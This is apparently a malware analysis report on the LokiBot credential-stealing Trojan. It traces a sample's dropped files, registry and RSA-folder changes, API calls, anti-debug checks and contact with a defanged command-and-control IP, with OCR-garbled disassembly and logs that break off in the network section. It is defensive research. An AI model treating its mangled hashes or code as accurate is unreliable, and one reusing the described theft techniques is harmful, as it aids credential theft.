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LokiBot and What You Need to Know

What is LokiBot?

LokiBot, also known as Loki PWS or Loki-bot, is a Trojan malware designed for the illicit
purpose of stealing sensitive information such as usernames, passwords, cryptocurrency
wallets, and other identity-related data. The LokiBot Trojan malware made its initial
appearance in 2015 and has since gained significant notoriety among cybercriminal circles as
an effective means of establishing a backdoor into compromised Windows systems. This
malicious software continues to thrive due to its proficiency in surreptitiously exfiltrating
valuable information.

Functioning as a malicious software family, LokiBot monitors both browser and desktop
activities, systematically pilfering critical data from victims, including user credentials, bank
particulars, and the contents of cryptocurrency wallets. The defining characteristic of LokiBot
lies in its ability to capture and record sensitive data, a behavior commonly observed in Trojan
horse viruses. It methodically gathers stored login credentials and passwords, primarily within
web browsers, and maintains constant surveillance over user activities, such as keystroke

logging.

The acquired information is promptly relayed to a remote server under the control of LokiBot's
developers. This streamlined transfer of data ensures that captured details are swiftly at the
disposal of malicious actors. Notably, malicious cyber agents frequently deploy LokiBot to
target systems running Windows and Android operating systems. They propagate this
malevolent software through various means, including but not limited to email, phishing
websites, text messages, and other personalized communication channels.

In essence, LokiBot epitomizes the art of infiltrating systems with the primary goal of extracting
sensitive data. lIts intricate techniques and operational methods underline the ongoing
challenge posed by such advanced forms of cyber threats, necessitating a comprehensive and
multi-faceted approach to cybersecurity.
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LokiBot Overview

Kellyzx.exe, a malicious software, has been identified as carrying out a series of harmful
actions for malicious purposes. Upon closer examination, it has been determined that the
malware engages in loading DLL files to execute harmful processes. Additionally, it establishes
persistence within the system by dropping an executable file named "hjxnj.exe" and making
changes to the Windows Registry. This enables the malware to maintain a foothold within the
compromised system, ensuring its presence even after system reboots.

The malware's modus operandi unfolds as follows: After establishing a connection with the IP
address "171[.]22[.]30[.]147" via TCP, the malware initiates communication with a remote
command and control server. This connection serves as a conduit for the malware operators
to exert control and issue instructions to the compromised system.

Subsequently, the malware undertakes data collection, which it accomplishes through a POST
request to the URL "/kelly/five/fre[.]Jphp http/1.0 POST." Through this request, the malware
encrypts the harvested sensitive data, thereby concealing its contents from potential
interception during transmission. The encrypted data is then sent to the command and control
server, enabling the malicious actors to access and exploit the stolen information.

Upon the successful transfer of data, the TCP connection is terminated. This step further
obfuscates the malicious activity, complicating efforts to track and mitigate the threat.

In conclusion, Kellyzx.exe malicious software employs a multi-step process to infiltrate
systems, establish persistence, communicate with a remote server, encrypt stolen data, and
evade detection. Countering such threats requires robust cybersecurity measures, including
up-to-date security solutions, patch management, and user education to thwart potential
attacks and mitigate their impact.
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Infection Chalin

Malicious Attachment
with Phising Mail

Kellyzx.exe a h h C
EXE

nsd4E8D.tmp acxpmxbng.e izsfnfnursct.g hjxnj.exe

Command and Control

@) infinitum IT



LokiBot Technical Analysis Report

Static Analysis

Kellyzx.exe Analysis

File Name kellyzx.exe
SHA-1 E6107CA70A7E8461A0105FAE3F8FE6DESAG5FF17
MD5 3BC68A0764CCCA00C9A9F595E9F3ED3E
File Type PE32/EXE
[ P Explores VID - kellymcese] === |
File Settings 7
i kallyss sxe *
= 5 @ Prw Walise
_DTM":::;_ FleMame | CAlkers\  ADeskbopkelyonens
3 Mt Headers File Type Partabile Executsble 32
-Ej e Fike Infa No match feund.
(1) Data Cwectomes b File Size 328.35 KB (335235 bytes)
— l‘jm"‘m” PE Size 107.00 KB (201728 brytes)
— () Rescurce Direciony Created Friday 03 Febnuary 2023, 15.31.07
— '5""*""‘5"";:'_ Medifed Fridiy 03 February 2023, 123100
F— %\, Hex Eddtor Accessed Friday 03 February 2023, 153107
= % Mdentifier DS IBCEBADTEACC TN BASFSSSERFIEDIE
I amh SHAL E6107CATOATERA61 ADL0SF AESFEFESDESASFFLY
F— %, Rebuilder
: %mﬁ&f Property Value
CompanyMame PMT
FileDescription stariles
FileViersion 1331575
LegalC opyright Copyright Wisd.

Figure 1- Information about file

2 gozcuBd exe 15.81 12796K  25428K 2464 Sysintemals Process Explorer  Sysintemals - www sysinter...
axl 480  10.060K 7360 K
i 0.74 976 K 3808 K
= . 1 1 -

4 maa LT FETra [ ] —~

Figure 2- Process monitor logs of kellyzx.exe

Close examination of the malware reveals that it creates a child process by launching the
executable "hjxnj.exe".
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3288 BhCreateFile

3288 BAQueryBasicinfor..

3288 S CloseFile
3288 BhCreateFile
3288 BhCreateFile

3288 A QueryBasiclrfor..

3288 BACloseFile
3288 BhCreateFile
3288 B\ CreateFile

C:\Users\s

C:\Users\s

C:\Users's
C:\Users\s
C:\Users\s

CAUsers\s

C:\Users\s
C:\Users\s
C:\Users\s

“AppData\Local\Temp\acxpmxbng e
v Jata\Local\Temp\acxpmxbng.e
\AppData\Local\Temp\acxpmxbng e
\AppData‘Local\Temp\acxpmxbng.e
\AppData\Local\Temp\izsfrfursct.q
\AppData\Local\Temp\izsffursct.g
\AppData\Local\Temp\izsffursct.g
\AppData\Local\Temp\izsfrfursct.g
\AppData'\Local\Temp\hjxnj.exe
‘AppData'\Local\Temp'\hpmnj.exe

3288 BhQueryBasicinfor...C:\Users\:

3288 B\ Createfile
3288 BhCloseFile
3288 B CreateFile

3288 B\ QueryDirectory

3288 B CloseFile
3288 B Createfile

C:\Users\
C:\Users\
C:\Users\
C:\Users\
C:\Users\
C:\Users\

YAppData'\Local\Temp\nsb37F3tmp
YAppData'\Local\Temp\nsb37F3tmp
MAppData'\Local\Temp
»AppData‘Local\Temp\nsb37F3tmp
»AppData‘\local\Temp
YAppData‘\Local\Temp\nsb37F3tmp

Figure 3- Logs

Upon scrutinizing the log records of the target system, it becomes evident that the malicious
file employs the CreateFile API to generate files with diverse extensions and randomly
assigned names.

Dynamic Analysis

UEHU':all

68 EOAS 4000
50

FF15 54824000
83C4 10

8D85 CAFDFFFF
6A 08

6A 00

push kellyzx.40ASED

push eax

€281l dword ptr ds: [<&wsprintfin=]

add esp,10

lea eax,dword ptr ss:|Jebp-2zCf)

push =

push o

push eax

€all dword ptr ds:[<&LoadlLibraryExws=]
leave

e | oe e v sy s R
00406904 8D85 C4FDFFFF lea eax,dword ptr ss:[[ebp-23C])

0040639DA 56 push esi esi:"CRYPTBASE"

004069DE 50 push eax eax:L"C:\\Windowsh\system32\\CRYPTEASE. d11"
004063DC FF15 B0S04000 €&8W dword ptr ds:[<&GetSystemDirectoryws>]

004069E2 3BCE cmp eax,esi eax:L"C: \V\Windowsh\system32\\CRYPTBASE. d11", esi:"CRYPTBASE"
004069E4 SE pop esi esi:"CRYPTBASE"

004063E5| ~ 76 02 jbe kellyzx.4069E9

004069E7 33C0 XOor eax,eax eax: L"C:\WWindows \system32\\CRYPTBASE.d11"
004069E9 85C0 test eax eax eax: L"C\MWwindowsh \system32\\CRYPTBASE. d11"
004069EE( ~ 74 OF je keTlyZx. 4069FC

004069ED 66! 83BC45 C2FDFFFF 5 cmp word ptr ss:|ffebp+eax=2-23gJ,5C BCI"W

004069F6( ~ 74 04 je kellyzx.4069FC

004069F8 33C9 xur ecx, ecx

004069FA( ~ EB 03 jmp kellyzx.4069FF

004063FC 33C9 XOr &cx,ecx

004063FE 41 inc ecx

004069FF FF75 0B push dword ptr ss:|[febp+3] [ebp+8]: "CRYPTBASE"

00406A02 8DOC4D 14A04000 lea ecx,dword ptr ds:[ecx*2+40A014)

00406A09 808445 C4FDFFFF lea eax,dword ptr ss:febpreax=2-23C[)

00406A10 51 push ecx

40ASED: L %s%s.d11"
eax: L"C: \VWWindowsh\sysTem32\\CRYPTEASE.

eax:L"C:YWindows' ' system32\\CRYPTBASE .

€2 0400 BEE 4

8E4424 04 mov eax sdword ptr ssilfesp+4l

s push es esi:"CRYPTBASE"

BEFO muv e51 p2ax esi:"CRYPTBASE™, eax:L"C:%\\windows\'\system32\ CRYPTBASE.d11"

[T

Tlyzx.&LoadLibraryExw=]=<kernel3z.LoadL1braryExw>

exe: $6A2B #5E2B

Wl Dekiim3 | &4 Dokim4 | 844 Dokims | & ize 1 | 1= Yerel Dediskenler | 2 vapi |

e

ASCII a g

00 00 00|08 00 00 00|43 00 3A O0|@Uee:rrnre. E A
00 GE 00|64 00 &F 00|77 00 73 00(\.W.i.n.d.0.w.s. 5
00 73 00|74 00 65 00|60 00 33 00(\.s.y.S.T.e.m.3. 5
00 52 00|59 0O 50 0O b loelie o P Tt o 5
00 2E 00|64 00 & 00|&C 00 00 00|A.S.E...d.1.1. &

Figure 4- Loads DLL

With the LoadLibraryExXW API, it loads DLLs to change system settings, access sensitive
data or take control of the system, execute malicious drivers or disable security features, and
download additional malicious data.
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C:\\Windows\\system32\\CLBCATQ.dII

C:\\Windows\\system32\\APPHELP.dll

C:\\Windows\\system32\\NTMARTA.dII

C:\\Windows\\system32\DWMAPI.dII

C:\\Windows\\system32\\UXTHEME.dlI

C:\\Windows\\system32\\OLEACC.dII

C:\\Windows\\system32\\USERENV.dlI

C:\\Windows\\system32\CLBCATQ.dII

C:\\Windows\\system32\SETUPAPI.dII

C:\\Windows\\system32\SHFOLDER.dlI

C:\\Windows\\system32\\NTMARTA.dII

C:\\Windows\\system32\\CRYPTBASE.dII

Table 1- Files with .dIl extension loaded by malicious file

¥

:-ll‘l n.«:ra M:r e H[<4GeTToNoF 1 | examens )

ST
ine xelly‘u 406107

. 340410

1"9 ke1lyza< Py

m-cup 3 [#0ASAB] ; eaw:LocC:

o
de:
o nora ptr 55: febp-s, eax
mov eax,dword prr ds:[404BAC] : eax:

Figure 5- Getting the name of the .tmp file

The name of the file "nsd4E8D.tmp" is generated in the directory
"C:\Users\Admin\AppData\Local\Temp" The malicious software creates the name for the
.tmp extension file with the prefix "ns" followed by random characters, as observed. This is
often done to obfuscate the file and its purpose, making it harder for security measures to
detect it. Using random names and prefixes adds an extra layer of camouflage to the
malicious file, increasing its chances of going unnoticed within the system.

kellyzx.004032
call dword ptr d., [«mobaunoo]
mov e:i.-, ,,,,,
mov €51, ,éax ; C: users AppDat
call ke'nyzx 406890
lea eax, dno'd ptr 5s:
push ke X.4
push eax : a
call ke11yzx 40613/
push ebx

| push 4000100
push 2
push e
push &
Tea e
push
push : Cs

mcall dword otr ds: <a.creatanen->
cmp eax, ; . AppData\\Local Temp
mov dnord ptr ds: 40A01c ,ea\ : eax:L"C:\\users\\; AppData\\Loca
jne kellyzx.4032E8

______ ss:febp-22C)

"

Figure 6- Creating the .tmp file

The file created with the GlobalAlloc APl is allocated in the
"C:\Users\Admin\AppData\Local\Temp" directory. After this space, the "nsd4E8D.tmp"
file with the .tmp extension is created using the CreateFile API. This temporary file is created
to store data or execute certain actions as part of the malware's operations.
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kellyzx.00406158
push dword ptr
call dword ptr
mov ecx,eax
push 0
inc ecx
neg ecx
sbb ecx,ecx
and ecx,eax
push ecx
push dword
push 0
push
push
push
call
BEEE C

55:Eesp—4] [esp+4]:L"C:\\Users Local\\Temp

Hl | ] acxpmxbng. e’
ds: [<&GetFileAttributesws]

s:fesp+14]

dword
dword
dword

:Jesp+ac]
tBesp+iCll .
>t [<&CreateFrilen>]

Figure 7- Creation of acxpmxbng.e file

FEE 4

push dword ptr
€@l dword ptr
mov ecx,eax
push ©

inc ecx

neg ecx

sbb ecx,ecx
and ecx,eax
push ecx

dword ptr

ss:fesps4

1 AppData
ds: [<&GetFileAttributesws]

push
push
push 1
push dword ptr
push dword ptr
| €811 _dword ptr

s5: esp+14])

S5 Qespric
ss:fesp+1

p+ic
ds: [<&CreateFilew:=]

Figure 8- Creating the izsfnfnursct.qg file

As shown in Figures 7 and 8, files with arbitrary names and .e and .g extensions are created
in the "C:\Users\Admin\AppData\Local\Temp" directory. The malicious file implements an
evasion technique by interfering with legitimate files commonly found in temporary directories.
By using arbitrary names and extensions, malware aims to avoid detection by security
solutions that rely on specific file naming conventions or extensions to identify potentially
malicious files. This technique adds to the malware's ability to stay undetected and works
secretly within the system.

88C6 MoV eax,est | €51 : &L "SGP
SE pop est esiiaL
C2 0400 ret
FF7424 04 push dword ptr ;::(e;: o | AppData hix
FF15 04814000 €AW dword ptr ds: [<&GetFileAttributesw>)
88C8 moV ecx,eax
6A 00 push
41 inc e
F709 neg ecx
18C9 sbb ecx,ecx
23C8 and ecx,eax
51 push ecx
FF7424 14 push dword ptr ss:fesg ]
6A 00 push
6A 01 push 1
FF7424 1C push dword ptr ss

0040617 FF7424 1C push dword ptr ss

30 FF15 F4804000 a1 dword ptr
€2 0c00 |ret ¢ |

Figure 9- Creating the file named hjxnj.exe

An executable file named "hjnx.exe" is created in the "C:\Users\Admin\AppData\Local\Temp"
directory. This action is executed as a part of the malware's propagation strategy. By
generating an executable file within the temporary directory, the malware seeks to establish a
foothold on the compromised system and execute its malicious code. The use of the temporary
directory aids in concealing the file amidst a myriad of other temporary files, making it harder
for users or security solutions to immediately discern its presence.
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kellyzx.004061DE

push ebp

mov ebp,esp

push esi

mov esi,dword ptr ss:lebp+1
lea eax,dword ptr ss:|[ebp+i
push 0

push eax

push esi

push dword ptr ss:lebp+c
ush dword ptr ss:[ebp+.

dword ptr ds:[<8ReadFile=]

test eax,e

ax
[ielkellyzx. 4062030

kellyzx.004061F3
cmp esi,dword ptr ss:[Jebp+1of
jne kellyzx. 406203

kellyzx.00406203 kellyzx.D04061FE
XOr £dx,eax XOr eax,eax
inc eax

jmp kellyzx. 406205

kellyzx. 00406205
pop esi

fek =

kell ¥.0040621E
meall diord ptr os:[<anriteriles]

test eax,eax
je kellyzx. 406232

kellyzx. 00406228
cmp esi,dword ptr ss:[lebp+iof]
jne kellyzx.406232

kellyzx. 00406232 kellyzx. 00406220
xor eax,eax xor~ eax,eax
inc eax

jmp kellyzx.406234

kellyzx.00406234
pop esi
ebp
[

Figure 10- Use of ReadFile and WriteFile APIs

For all files created on the target system, file reading and writing operations are performed
using the ReadFile and WriteFile APIs.

kellyzx.00405C74

TEST eax,sax
Je kellyzx. 405C8A

kell . DO405CTE
E‘lhs g: ::f -cB ; [ébﬂ‘-g]:I.'\'C:\\m&i\\-\\mnt\\LMll\\?m\hjmj.txé\" €2\\Users\\ I\ \AppOata\\Local\\Temp\\ izsfnfursce. 9"

mov eax,dword prr Ss: -104

Figure 11- Usage of CreateProcess AP/

The file named hjxnj.exe created by the malware is started as a process on the target system
using the CreateProcess API.

@) infinitum IT



LokiBot Technical Analysis Report

kellyzx.00406AE4

push esi

mov esi,dword ptr ds:[<&waitrForsingleobject>]
push edi

push &4

push dword ptr ss:|[[ebp+sl

calll esi

mov edi,102

jmp kellyzx.406B08

T
¥
kellyzx.00406B08
cmp eax,edi
je kellyzx.406AFA

) ' v

kellyzx.00406AFA kelTyzx. 00406B0C
push F lea eax,dword ptr ss:|[febp-4]
€21l kellyzx.406A71 push eax
push &4 push dword ptr ss:|[febp+s]
push dword ptr ss:[Jebp+s] EWEEN dword ptr ds:[<&GetExitCodeProcess>]
ean esi mov eax,dword ptr ss:[ebp-4a]
pop edi
pop esi
leave
meE +

Figure 12- Closing the malicious file

As seen in Figure 12, it gets the termination status of the kellyzx.exe process running using
the GetExitCodeProcess API.

kellyzx.00404555
Hcall dword ptr ds:[<&Destroywindows=]
push dword ptr ds:[421F18]
mov dword ptr ds:[42A268],ebp
push edi
€dall dword ptr ds:[<&EndDialog=]
cmp dword ptr ds:[425748],e2bp
jne kellyzx. 404591

kellyzx. 00404576
cmp dword ptr ds:[429238],ebp
je kellyzx. 404591

¥

kellyzx.0040457E
push A
push edi
€all dword ptr ds: [<&Showwindow:=]
mov dword ptr ds:[425748],1

L i
kellyzx.00404531
XOr eax,eax

pop edi

pop esi

pop ebp

pop ebx

add esp,10

BEE 10

Figure 13- Termination of the kellyzx.exe

The malware first closes the current window with the DestroyWindow API. It then closes the
dialog with the EndDialog API.

The malware continues with the hjxnj.exe it created to other processes on the target device.
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hjxnj.exe Analysis

File Name hjxnj.exe

SHA-1 EC95FOF1DC55A51903696E021963EEACC210FF05
MD5 CF86B09BO0E89238F9205E6D469BCDD6

File Type PE32/EXE

Value
& E File: hixmj exe -
[~ 3 Dos | File Mame CiUsers’ hDesktophjxnj.exe
1) Mt Headers File Type Portable Executable 32
i Fite Header _
3 Octional He File Info Microsoft Visual C++ 8
1] Data Drectones [ File Size 48.50 KB (49664 bytes)
— (3] Section Headers [x] .
PE Size 4B.50 KB (45664 bytes)
— I JImport Directory byt
— (£ Debug Directory Created Friday 10 February 2023, 13.40.32
— ‘) Address Conveder Modified Friday 13 January 2023, 02.23.08
= =% Dependency Walker
- 'ﬁl-h Editor Accessed Friday 10 February 2023, 13.40.32
— U Identifier MD5 CFa6B09B00EA9238FI20SERDAE0BCODG
— 4, Import Adder
- %M [ T — - ECSSRF1 DCS5AS1903696E021963EEACCZIOFFDS
— &, Rebuilder
— %Hmme Editor
Property Value
— 9% UPX Utility
Empty Me additional info available
Figure 14- Examination of the Pest in CFF Explorer
§ peos 2760 gm"m oy HKLM Virdows NT\C ProieLnt\S-15-21 258771573341 11251000
s o 2760 @RRecOpenkiey  HKLM\SOFT Windows NT'C, S1521:256TN973341 1291000
s o 2760 @R RegSetioKey  HKLM\SOF TWARE \Microsoh\Windows NT\C: 152125677157 11251000
9 e 2780 @XRegQuenyVale HKLM\SOFT NG S-1-5-21 7197 125-1000\P
s Py 2760 @RReguenyValos HKLM\SOF TWARE \Microsch\Windows NT\C. Lt\5-1.5:21-256771573341 25- ot
s e 2760 @RRegosekey  HKLM\SOFT NTG 51521.256771973341 1281000
s e 2760 BCmsteFle  Cllses)  \AppDsta\Roomng
3 e 2760 BCrosteFle  Clsem)  \ippDota\Rosming\Mcrosoht Cipto
3 o 2760 BCremeFle  Cilses)  \ppDota\Roaming\Mcrosof\Crypto\RSA
3 e 2760 MCoeFle  ClUsen) " Yoto 152125771973 3181071281000
E] e 2760 @RFegQuenKey  HKLM
9 i axe 2760 RegOpenkey  HKLM\Software\Mcrosoh\Cryptography
s e 2% HKLM\SOFT
3 e 2760 @RFacuenyVaie HKLM\SOFT
s e 2760 ERRec HKLM\SOFT
s o 2760 @R ReguenVekoe HKLM\SOF TWARE \Mcrosch\Crystography\ MachneGud
9 W ihpryexs 2760 gy HKLM\SOF
E exe 2760 @RRegOosekey  HKLM\SOFTWARE\Mcrosoh\Cryptography
$  Wiymyen 2760 MCrosteFle  Csers'~— 1521.258771973341 11251000272 ¥oc2 ¥ 257
S Wihmyee 2760 CroeFle  C\Usen' woo-.\nmmwwmsm 152 BTS2 NBIOTI 291000
$ Wihpryen 2760 B\ QuenDrectory  C\Users' 2677197334 3181071123-1000\2720 10 ¥
9. Tpeyee 2760 #hCoseFie C\Usens' 152129877197 1291000
9. Whpryexe 2760 B CroxeFia ClUsens' Van\Rom\Maud:\Cm\RSA
5. Wihpriexe 2760 B\OueryDvectory ClUsss'  \AppData\Roaming\Microsoft\Coypto\RSA\
9 Wipryexs 2760 BOusyDvectoy ChlUesrs'  \ippData\Roaming \Microsoht
S Wihpeyexe 2760 G CA\Users' \Copto'\RSA
9 Wipryens 2760 BA\CoeeFie CUsers'  \ippData\Roaming\Microsolt\Crypte\RSA
9 Wiy 2760 @-RegluenKey  HKLM
S Wipmyens 2760 @RReguenKey  HKLM
9. W hpryexe 2760 HKLA NG S-15-21-258771973341 11251000
9 EM‘B: 270 ;W HKLM\SOFTWARE\W\W\‘M N'l"l' S-1-5-21-25877197. 1291000
9 ¥hpryexe 2760 HKLM\SOFT —-‘\S |521 -29877197334123870162:3181071129-1000
$. Wigmyee 2760 @RRegCksekey  HKLM\SOF TAma 5.21.25877197334123870162 3181071291000

Figure 15- Examination of log records

The log records of the file named hjxnj on the target device after the malware starts running
are shown in Figure 15.
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§ hpoyexe 2750
& hpry exe 2760
gy exe 2760
& ooy exe 2760
* hpoy exe 2760
¥ hpoy exe 2760
8 'hpay axe 2760 #
pay exe 2760
» hpoy exe 2760
¥ hpy exe 2760
oy exs 2760 #
# 'hpory exe 270 =
W' hpoy exe 2750;
B hpery axe 2760
B hpoy exe 2760 #
&' hpory exe 2760 #
¥ hpoy exe 2760 &

§§f'{§f§§§ §§§§§§§§

000000000000 0000

\AppData\Roamng'\Microsolt\Crypto\RSA\S-1-5-21-2587719733-4129870162-3181071129-1000\272e H(Fac2 76l 10064 1cd 90062088 _20673200-6153-4b67-0did4 1404573300
\AppData\Roaming\Microsoft \Crypto\RSA\S-1-5-21-2387719733-4129870162-3181071129-1000\272e H(Fac 276 c 1064 1cd90e62088_2e679200-61934067 odfd 41404573300
\AopData\Roaming\Micresoft\Crypto\RSA\S-1-5-21-2987719733-4129870162:3181071129- 10002720 1f(fac276fc 1afe64 1cd90062088_20673200-61934b67 adfd 1404573300
\AppData\Roaming\Mcrosolt\Crypto\RSA\S-1-5-21-2387719733-4125870162-3181071129-1000'272e (fac 276lc 1afe64 1cd90e62088_20675200-61534b67-adld4 14045733008
\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2387719733-4129870162-3181071125-1000\272e H(Fac276c 156264 1cd90e62088_2e673200-6153-4b67-0did 41404573300
“AppData'\Roamng'\Mcrosoft\Crypto\RSA\S-1-5-21-2387719733-4129870162-3181071129-1000\272e 1(Fac 276 c 1afe 64 1cd90e 62088 _2e679200-6193-4b670dfd 414045733000
\AppData\Roaming\Micresoft\Crypto \RSA\S-1.5-21-23877197334129870162-3181071129-1000'\272e 1f(fac2 76l c 12fe64 1cd90062088_20675200-61934b67-adfd4 1404573300
\AppData\Roa

0\ Microsoft\Cypto \RSA\S-1.5-21-29877157334129870162-3181071125-1000'272s 1 ac2 76ic 1afeb4 1cd90=62088_2=673200-5153-4b57-adld 414045733008

\VAppData'\Roaming\Mcroscft\Crypto\RSA\S-1-5-21-2987719733-4129870162:3181071129-1000
\AopData\Roaming\Microsolt' Coypto \RSA\S-1-5-21-2987719733-4129870162-3181071129- 10002726 (fac276fc 1fe64 1ca90e62088_~
\AppData\Roaming'\Microsoft\Crypto \RSA\S-1-5-21-2587715733-4129870162-3181071125-1000
\AppData\Roaming\Microsoft\Crypto\RSA

\AppData'\Roaming\Microsoft\ Crypto\RSAN®

\AppData\Roaming' \Microsolt'\Crypto\RSA

\AppData\Roamng\Microsoft \Crypto\RSA.

Usen \AppData'\Roaming\Microscft\Crypto\RSA

| 22e1f0fac276fcl afe641cdB0e62083_2e679260-6193-4b67-adfd-FL40457. . o]

Genel | Givenlk | Aymntdar | Oneski Sirmies |

Olugturma:

Oznitelider;

B8 _2eE 792 0-6133-4b67-adfd 4 14045733002

Sistem dosyan
2726 Mac2THe 1 dlebd 1od50e 62088 2=6T920|

Chlserst  2\AppData'Roaming'\Microsoft \Cry
46 byt (46 bayt)

4,00 KB (4.096 bant)

13 Subat 2023 Din, 220701
13 Subat 2023 Dun, 22:36:54
12 Qubat 2023 Din, 22:36:54

[ 5at ckunur Gz [ Geligmig. . ]

L e

Figure 16- Changes made by the malware in the RSA folder

It modifies certificates stored in the system file named
"272el1f0fac276fclafe641cd90e62088 2e6792b0-6193-4b67-adfd-f1404573300a," found
in the directory "C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
2987719733-4129870162-3181071129-1000" By leveraging the WriteFile AP, it alters the
contents of the file, manipulating the certificates and impersonating the user identity to gain
access to sensitive data. Through this process, the malicious actor seeks to exploit
vulnerabilities, potentially compromising confidential information.

' hixnj.exe
' hixnj.exe
" hpnj.exe
' hijxnj.exe
" hpnj.exi

" hjxnj.exe

2760
2760
2760
2760
2760
2760

A CreateFile C:\Users\  \AppData\Roaming\33DCE1\1F197C exe
B\ SetBasicinform... C:\Users\  \App Data“\Roaming\33DCE1\1F157C exe
B\ CloseFile CA\Users\  M\AppData\Roaming\33DCEI\1F157C exe
B\ CreateFile C\Users\ "“\AppData\Roaming\33DCE1
gsa Basiclnform... C:\Users\  \AppData\Roaming\33DCE1
r&Close File C:A\Users\ "M\AppData\Roaming“\33DCE1

Figure 17- The malware creates an executable file

It creates an executable file named 1F197C.exe in the
"C:\Users\Admin\AppData\Roaming\33DCE1" directory and then closes this file.
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Ll =]
loc_484656:
push esi
lea eax, [ebp+SystemTimeAsFileTime] ; Load Effective Address
push 2ax ; lpsystemTimeAsFileTime
call ds:GetSystemTimeAsFileTime ; Indirect Call Mear Procedure
mov esi, [ebp+SystemTimeAsFileTime.dwHighDateTime]
xor esi, [ebptSystemTimeAsFileTime.dwLowDateTime] ; Logical Exclusive OR
call ds:GetCurrentProcessId ; Indirect Call Near Procedure
xor esi, eax ; Logical Exclusive OR
call ds:GetCurrentThreadIld ; Indirect Call Mear Procedure
xor esi, eax 3 Logical Exclusive OR
call ds:GetTickCount ; Indirect Call Near Procedure
xor esi, eax ; Logical Exclusive OR
lea eax, [ebp+PerformanceCount] ; Load Effective Address
push eax 3 lpPerformanceCount
call ds:QueryPerformanceCounter ; Indirect Call Mear Procedure
mov eax, dword ptr [ebptPerformanceCount+4]
xor eax, dword ptr [ebp+PerformanceCount] ; Logical Exclusive OR
xor esi, eax ; Logical Exclusive OR
cmp esi, edi 3 Compare Two Operands
jnz short loc_48469C ; Jump if Not Zero (ZF=8)

Figure 18- Obtaining system information

The malware uses the APIs shown in Figure 18 to get the information of the system time, the
current process and thread id.

mov edi,edi

push edi

push hjxnj.409EC4 409EC4: L"KERNEL32.DLL"

call dword ptr ds: [<&GetModuleHandlew=]

mov edi,eax

test edi,edi

jne hjxnj.4044C6

call hjxnj.4041F&

XOr eax,eax

pop edi

ret

push esi

mov esi,dword ptr ds:[<&GetProcAddresss]

push hjxnj.409F00 409F00: "Fl1sATloc”

push edi

eall e==i

push hjxnj.4039EF4 409EF4: "FlsGetvalue”

push edi

mov dword ptr ds: [<&F1sAlloc=],2ax

eall ==i

push hjxnj.403EES 409EES: "FlsSetvalue”

push edi

mov dword ptr ds: [<&F1sGetValue=] ,esax

eall e==i

push hjxnj.409EED 409EED: "F1sFree”

push edi

mov dword ptr ds: [<&F1sSetvValue=] ,2ax

eall ==i

cmp dword ptr ds:[<&F1sAlloc>],0

mov esi,dword ptr ds:[<&Tl1ssetValues=]

mov dword ptr ds:[<&F1sFreex] ,2ax

je hjxnj. 404526

cmp dword ptr ds: [<&F1sGetvalue=],0

je hjxnj. 404526

cmp dword ptr ds:[<&F1sSetvalue=],0

je hjxnj. 404526

test eax,eax

jne hjxnj.404544

mov eax,dword ptr ds:[<&T1sGetValues]
a

wmmr e Avamemel e A T ocar T it a W eme o

Figure 19- APIs used by the malicious file

The malicious file analyzes in dynamic time and uses the necessary APIs.
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uuuuuu

mov esi,eax
XOr ecx,ecx

cmp esi,ecx

jne hjxnj.404121
XOr eax,eax

pop esi

ret

cmp word ptr ds:[esi],cx
je hjxnj. 404136

add eax,z

cmp word ptr ds:[eax],cx
jne hjxnj.404126

add eax,z

cmp word ptr ds:[eax],.cx
jne hixnj.404126

push ebx

sub eax,esi

lea ebx,dword ptr ds:[eax+2]
push edi

push ebx

call hjxnj.405A0B

mov edi,eax

pop ecx

test edi,edi

jne hjxnj.404157

push esi

mov eax,edi
pop edi

nnn ahy

call dword ptr ds: [<&FreeEnvironmentStringsi=]

3, eax:L"cC

H :CGHPLTERh%HE=KIh—L1

'COMPUTERNAME=WIN-L1
"COMPUTERNAME=WIN-L1

"COMPUTERNAME=WIN-L1

L

L

L

L
esiiL"=:ii=: 0"

L

L

L

L"COMPUTERNAME=WIN-L1

eax: L"COMPUTERNAME=WIN-L1
eax+2: L"OMPUTERNAME=WIN-L

eax:L"COMPUTERNAME=WIN-L1

esiiL"=::1=:1\\"

eax: L"COMPUTERNAME=WIN-L1

Figure 20- The malware collects information

It appears that the malware obtains this information from files containing important information
about the current user's profile, system configuration and environment in order to store
sensitive information on the target device, insert malicious code into critical system files or

perform various malicious functions.

ALLUSERSPROFILE=C:\\ProgramData

windows_tracing_logfile=C:\\BVTBin\\Tests\\
installpackage\\csilogfile.log

LOCALAPPDATA=C:\\Users\\Admin\\AppData\\
Local

PROCESSOR_ARCHITECTURE=x86

LOGONSERVER=\\ComputerName

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;
.WSF; .WSH;.MSC

NUMBER_OF_PROCESSORS=1

COMPUTERNAME= WIN-L1KDN79P80J

SESSIONNAME=Console

SystemDrive=C:"

"TEMP=C:\\Users\\Admin\\AppData\\Local\\Temp

"USERNAME=admin"

Table 2- Some information received
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Figure 21- Detection of changes made
It is determined that the pest has added to the path from Environment variables.

These paths are:

C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath
C:\\Windows\\System32\\WindowsPowerShell\\v1.0\
C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Python37\\Scripts\\

hjxnj.00401DF3
[} dword ptr ds:[<&IsDebuggerPresent>]

mov edi,eax

€311 dword ptr ds:[<&SetUnhand]ledexceptionFilters]
lea eax,dword ptr ss:|febp-225]

push eax

€311 dword ptr ds:[<&unhandledexceptionFilters>]
test eax,eax

jne hjxnj.401E24

I
|
2
hjxnj.00401E14
test edi,edi

jne hjxnj 401E24

]!
hjxnj.ooa01E18

cmp ebx,FFFFFFFF
je hjxnj.401E24

J!
hjxnj.00401E1D
push ebx

call hj)(l’lj 404FB4
pop ec

f
|
F¥Y
hjxnj.00401E24
mov ecx,dword ptr ss:lfebp-4]
pop edi

xor ecx,ebp

pop ebx

call hjxnj.404FEC

Teave

ret

Figure 22- Anti-debug detection

It used antidebug technique to detect the malware analysis environment, change the
malware behavior or terminate itself. This makes it difficult for analysts to understand the
inner workings of the malware.
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Network Analysis

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

admd@ RE se==fiEEaaan

M [tep.stream eq 0

No. Time Source Destination Protocol  Length Info

r 3 17.232871 10.127.8.148 171.22.3@.147 TCP 66 49174 » 30 [SYN] Seq=e Win=8192 Len=@ MS5=146@ WS=256 SACK_PERM=1
